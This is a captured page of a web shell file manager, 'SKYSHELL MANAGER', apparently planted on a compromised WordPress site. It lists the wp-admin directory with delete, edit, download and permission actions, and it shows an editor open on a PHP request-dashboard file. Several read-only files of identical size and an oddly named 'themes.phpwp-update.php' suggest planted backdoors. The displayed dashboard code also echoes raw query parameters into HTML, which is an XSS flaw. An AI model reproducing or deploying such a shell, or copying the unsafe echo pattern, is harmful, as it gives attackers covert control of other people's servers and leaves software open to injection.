📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: esp-status.php
<?php require_once 'config/auth.php'; require_once 'config/db.php'; // Allow only User if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'User') { header("Location: index.php"); exit; } $username = mysqli_real_escape_string($conn, $_SESSION['user']['username']); $result = mysqli_query($conn, " SELECT * FROM esp_requirements WHERE username = '$username' ORDER BY id DESC "); ?> <?php $where = []; // Status Filter if (!empty($_GET['status'])) { $status = mysqli_real_escape_string($conn, $_GET['status']); $where[] = "status='$status'"; } // Date Filter $from = $_GET['from_date'] ?? ''; $to = $_GET['to_date'] ?? ''; if (!empty($from) && !empty($to)) { $from = mysqli_real_escape_string($conn, $from); $to = mysqli_real_escape_string($conn, $to); $where[] = "DATE(created_at) BETWEEN '$from' AND '$to'"; } elseif (!empty($from)) { $from = mysqli_real_escape_string($conn, $from); $where[] = "DATE(created_at) = '$from'"; } elseif (!empty($to)) { $to = mysqli_real_escape_string($conn, $to); $where[] = "DATE(created_at) = '$to'"; } // Current Page $page = isset($_GET['page']) ? (int)$_GET['page'] : 1; if ($page < 1) { $page = 1; } // Show Rows $limit = isset($_GET['limit']) ? (int)$_GET['limit'] : 50; if (!in_array($limit, [50,100,250])) { $limit = 50; } // Offset $offset = ($page - 1) * $limit; // Total Records $countSql = "SELECT COUNT(*) AS total FROM esp_requirements WHERE username='$username'"; if (!empty($where)) { $countSql .= " AND " . implode(" AND ", $where); } $countResult = mysqli_query($conn, $countSql); $totalRows = mysqli_fetch_assoc($countResult)['total']; $totalPages = ceil($totalRows / $limit); // Main Query $sql = "SELECT * FROM esp_requirements WHERE username='$username'"; if (!empty($where)) { $sql .= " AND " . implode(" AND ", $where); } $sql .= " ORDER BY id DESC LIMIT $offset,$limit"; $result = mysqli_query($conn, $sql); // Showing text $start = ($totalRows == 0) ? 0 : $offset + 1; $end = min($offset + $limit, $totalRows); ?> <?php $statsSql = " SELECT COUNT(*) AS total_requests, SUM(status='pending') AS pending, SUM(status='approved') AS approved, SUM(status='processing') AS processing, SUM(status='configuration') AS configuration, SUM(status='success') AS success FROM esp_requirements WHERE username='$username' "; if (!empty($where)) { $statsSql .= " AND " . implode(" AND ", $where); } $statsResult = mysqli_query($conn, $statsSql); $stats = mysqli_fetch_assoc($statsResult); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title><?php echo $_SESSION['user']['company']; ?></title> <link rel="icon" type="image/svg+xml" href="<?php echo $_SESSION['user']['fav']; ?>"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.3.3/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-icons/1.11.3/font/bootstrap-icons.min.css"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet"> <link rel="stylesheet" href="css/style.css"> </head> <body class="dash-body"> <div class="sidebar-backdrop"></div> <!-- ===================== SIDEBAR ===================== --> <aside class="sidebar"> <a href="#" class="sidebar-brand text-decoration-none"> <img src="<?php echo htmlspecialchars($_SESSION['user']['logo']); ?>" alt="<?php echo $_SESSION['user']['company']; ?>" width="150"> </a> <nav class="sidebar-nav"> <div class="sidebar-section-label">Main</div> <a href="esp-requirement.php" class="nav-link "><i class="bi bi-file-earmark-plus"></i> ESP Requirement</a> <a href="esp-status.php" class="nav-link active"><i class="bi bi-list-check"></i> ESP Status</a> </nav> <div class="sidebar-footer"> <div class="mt-4 small text-center"> <small>Developed by - Redaries</small> </div> </div> </aside> <!-- ===================== MAIN ===================== --> <div class="main-wrap"> <div class="topbar"> <div class="d-flex align-items-center gap-3"> <button class="btn btn-menu btn-outline-secondary"><i class="bi bi-list"></i></button> <div> <div class="fw-bold">ESP Status</div> <div class="breadcrumb-mini">Dashboard / ESP Status</div> </div> </div> <div class="d-flex align-items-right gap-3"> <div class="dropdown"> <button class="btn btn-outline-secondary dropdown-toggle small" type="button" data-bs-toggle="dropdown"> <i class="bi bi-person-circle"></i> <?php echo htmlspecialchars($_SESSION['user']['username']); ?> </button> <ul class="dropdown-menu dropdown-menu-end"> <li> <a class="dropdown-item text-danger" href="logout.php"> <i class="bi bi-box-arrow-right me-2"></i> Logout </a> </li> </ul> </div> </div> </div> <div class="page-content"> <!-- Stat cards --> <div class="row g-3 mb-4"> <div class="col-6 col-lg-2"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon" style="background:#eef2ff;color:#4f46e5;"> <i class="bi bi-file-earmark-text"></i> </div> <div> <div class="stat-num"><?= $stats['total_requests']; ?></div> <div class="stat-label">Total Requests</div> </div> </div> </div> <div class="col-6 col-lg-2"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon" style="background:#fef3c7;color:#92400e;"> <i class="bi bi-hourglass-split"></i> </div> <div> <div class="stat-num"><?= $stats['pending']; ?></div> <div class="stat-label">Pending</div> </div> </div> </div> <div class="col-6 col-lg-2"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon" style="background:#dbeafe;color:#2563eb;"> <i class="bi bi-check2-circle"></i> </div> <div> <div class="stat-num"><?= $stats['approved']; ?></div> <div class="stat-label">Approved</div> </div> </div> </div> <div class="col-6 col-lg-2"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon" style="background:#ffedd5;color:#9a3412;"> <i class="bi bi-arrow-repeat"></i> </div> <div> <div class="stat-num"><?= $stats['processing']; ?></div> <div class="stat-label">Processing</div> </div> </div> </div> <div class="col-6 col-lg-2"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon" style="background:#ede9fe;color:#6d28d9;"> <i class="bi bi-hdd-rack"></i> </div> <div> <div class="stat-num"><?= $stats['configuration']; ?></div> <div class="stat-label">Configuration</div> </div> </div> </div> <div class="col-6 col-lg-2"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon" style="background:#dcfce7;color:#166534;"> <i class="bi bi-check-circle"></i> </div> <div> <div class="stat-num"><?= $stats['success']; ?></div> <div class="stat-label">Success</div> </div> </div> </div> </div> <!-- Requests table --> <div class="card-panel"> <div class="card-panel-head"> <h6 class="fw-bold mb-0">All ESP Requests</h6> <!-- PHP: point this at your request search/filter handler --> <form id="filterForm" method="GET" class="d-flex gap-3"> <!-- Status --> <div class="col-md-2"> <label class="form-label small">Status</label> <select name="status" class="form-select auto-filter form-select-sm"> <option value="">All Status</option> <option value="pending">Pending</option> <option value="approved">Approved</option> <option value="processing">Processing</option> <option value="configuration">Configuration</option> <option value="success">Completed</option> </select> </div> <!-- From --> <div class="col-md-2"> <label class="form-label small">From Date</label> <input type="date" name="from_date" value="<?= $_GET['from_date'] ?? '' ?>" class="form-control auto-filter form-control-sm"> </div> <!-- To --> <div class="col-md-2"> <label class="form-label small">To Date</label> <input type="date" name="to_date" value="<?= $_GET['to_date'] ?? '' ?>" class="form-control auto-filter form-control-sm"> </div> <!-- Show Rows --> <div class="col-md-2"> <label class="form-label small">Show Rows</label> <select name="limit" class="form-select auto-filter form-select-sm"> <option value="50" <?= (($_GET['limit'] ?? 50)==50)?'selected':''; ?>>50</option> <option value="100" <?= (($_GET['limit'] ?? '')==100)?'selected':''; ?>>100</option> <option value="250" <?= (($_GET['limit'] ?? '')==250)?'selected':''; ?>>250</option> </select> </div> <!-- Reset --> <div class="col-md-2 d-flex align-items-end"> <a href="esp-status.php" class="btn btn-outline-secondary btn-sm"> <i class="bi bi-arrow-clockwise"></i> Reset </a> </div> </form> </div> <div class="card-panel-body"> <div class="table-responsive"> <table class="table table-requests align-middle"> <thead> <tr> <th>RequestID</th> <th>RequestedBy</th> <th>Company</th> <th>Department</th> <th>Team</th> <th>Provider</th> <th>Website</th> <th>Category</th> <th>Notes</th> <th>Priority</th> <th>CreatedDate</th> <th>RequestedDate</th> <th>status</th> <th class="text-end">OrderDetails</th> </tr> </thead> <tbody> <?php if(mysqli_num_rows($result) > 0) { while($row = mysqli_fetch_assoc($result)) { ?> <tr> <td class="fw-semibold">RQT-<?php echo $row['id']; ?></td> <td><?php echo htmlspecialchars($row['username']); ?></td> <td><?php echo htmlspecialchars($row['company']); ?></td> <td><?php echo htmlspecialchars($row['department']); ?></td> <td><?php echo htmlspecialchars($row['team']); ?></td> <td><?php echo htmlspecialchars($row['networkprovider']); ?></td> <td><?php echo htmlspecialchars($row['website']); ?></td> <td><?php echo htmlspecialchars($row['category']); ?></td> <td><?php echo htmlspecialchars($row['notes']); ?></td> <td> <?php if($row['priority']=='low'){ echo '<span class="badge-priority low">Low</span>'; }elseif($row['priority']=='medium'){ echo '<span class="badge-priority medium">Medium</span>'; }elseif($row['priority']=='high'){ echo '<span class="badge-priority high">High</span>'; }else{ echo '<span class="badge-priority urgent">Urgent</span>'; } ?> </td> <td><?php echo date('d-m-Y', strtotime($row['created_at'])); ?></td> <td><?php echo date('d-m-Y', strtotime($row['required_by'])); ?></td> <td> <?php switch($row['status']){ case 'pending': echo '<span class="badge bg-secondary">Pending</span>'; break; case 'approved': echo '<span class="badge bg-primary">Approved</span>'; break; case 'processing': echo '<span class="badge bg-warning text-dark">Processing</span>'; break; case 'configuration': echo '<span class="badge bg-info">Configuration</span>'; break; case 'success': echo '<span class="badge bg-success">Completed</span>'; break; } ?> </td> <td class="text-end"> <button class="btn btn-sm btn-brand history-btn" data-id="<?php echo $row['id']; ?>" data-bs-toggle="modal" data-bs-target="#historyModal"> <i class="bi bi-clock-history"></i> View </button> </td> </tr> <?php } } else { ?> <tr> <td colspan="14" class="text-center"> No Request Found </td> </tr> <?php } ?> </tbody> </table> </div> <!-- PHP: replace with real pagination based on total row count --> <?php if($totalPages > 1){ ?> <nav class="d-flex justify-content-between align-items-center mt-3 flex-wrap gap-2"> <span class="text-muted small"> Showing <?= $start ?> - <?= $end ?> of <?= $totalRows ?> requests </span> <ul class="pagination pagination-sm mb-0"> <li class="page-item <?= ($page<=1)?'disabled':''; ?>"> <a class="page-link" href="?<?= http_build_query(array_merge($_GET,['page'=>$page-1])) ?>"> Previous </a> </li> <?php for($i=1;$i<=$totalPages;$i++): ?> <li class="page-item <?= ($i==$page)?'active':''; ?>"> <a class="page-link" href="?<?= http_build_query(array_merge($_GET,['page'=>$i])) ?>"> <?= $i ?> </a> </li> <?php endfor; ?> <li class="page-item <?= ($page>=$totalPages)?'disabled':''; ?>"> <a class="page-link" href="?<?= http_build_query(array_merge($_GET,['page'=>$page+1])) ?>"> Next </a> </li> </ul> </nav> <?php } else { ?> <div class="text-muted small mt-3"> Showing <?= $start ?> - <?= $end ?> of <?= $totalRows ?> requests </div> <?php } ?> </div> </div> </div> </div> <div class="modal fade" id="historyModal" tabindex="-1"> <div class="modal-dialog modal-lg modal-dialog-centered"> <div class="modal-content border-0 shadow-lg rounded-4"> <div class="modal-header bg-gradient"> <div> <h6 class="fw-bold mb-0">Order History</h6> </div> <button class="btn-close" data-bs-dismiss="modal"></button> </div> <div class="modal-body bg-light"> <div id="historyContent"> </div> </div> </div> </div> </div> <script> document.querySelectorAll(".history-btn").forEach(function(btn){ btn.addEventListener("click",function(){ let id=this.dataset.id; fetch("get_history.php?id="+id) .then(response=>response.text()) .then(data=>{ document.getElementById("historyContent").innerHTML=data; }); }); }); </script> <script> document.addEventListener("DOMContentLoaded", function () { document.querySelectorAll(".auto-filter").forEach(function (element) { element.addEventListener("change", function () { document.getElementById("filterForm").submit(); }); }); }); </script> <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.3.3/js/bootstrap.bundle.min.js"></script> <script src="js/app.js"></script> </body> </html>
Save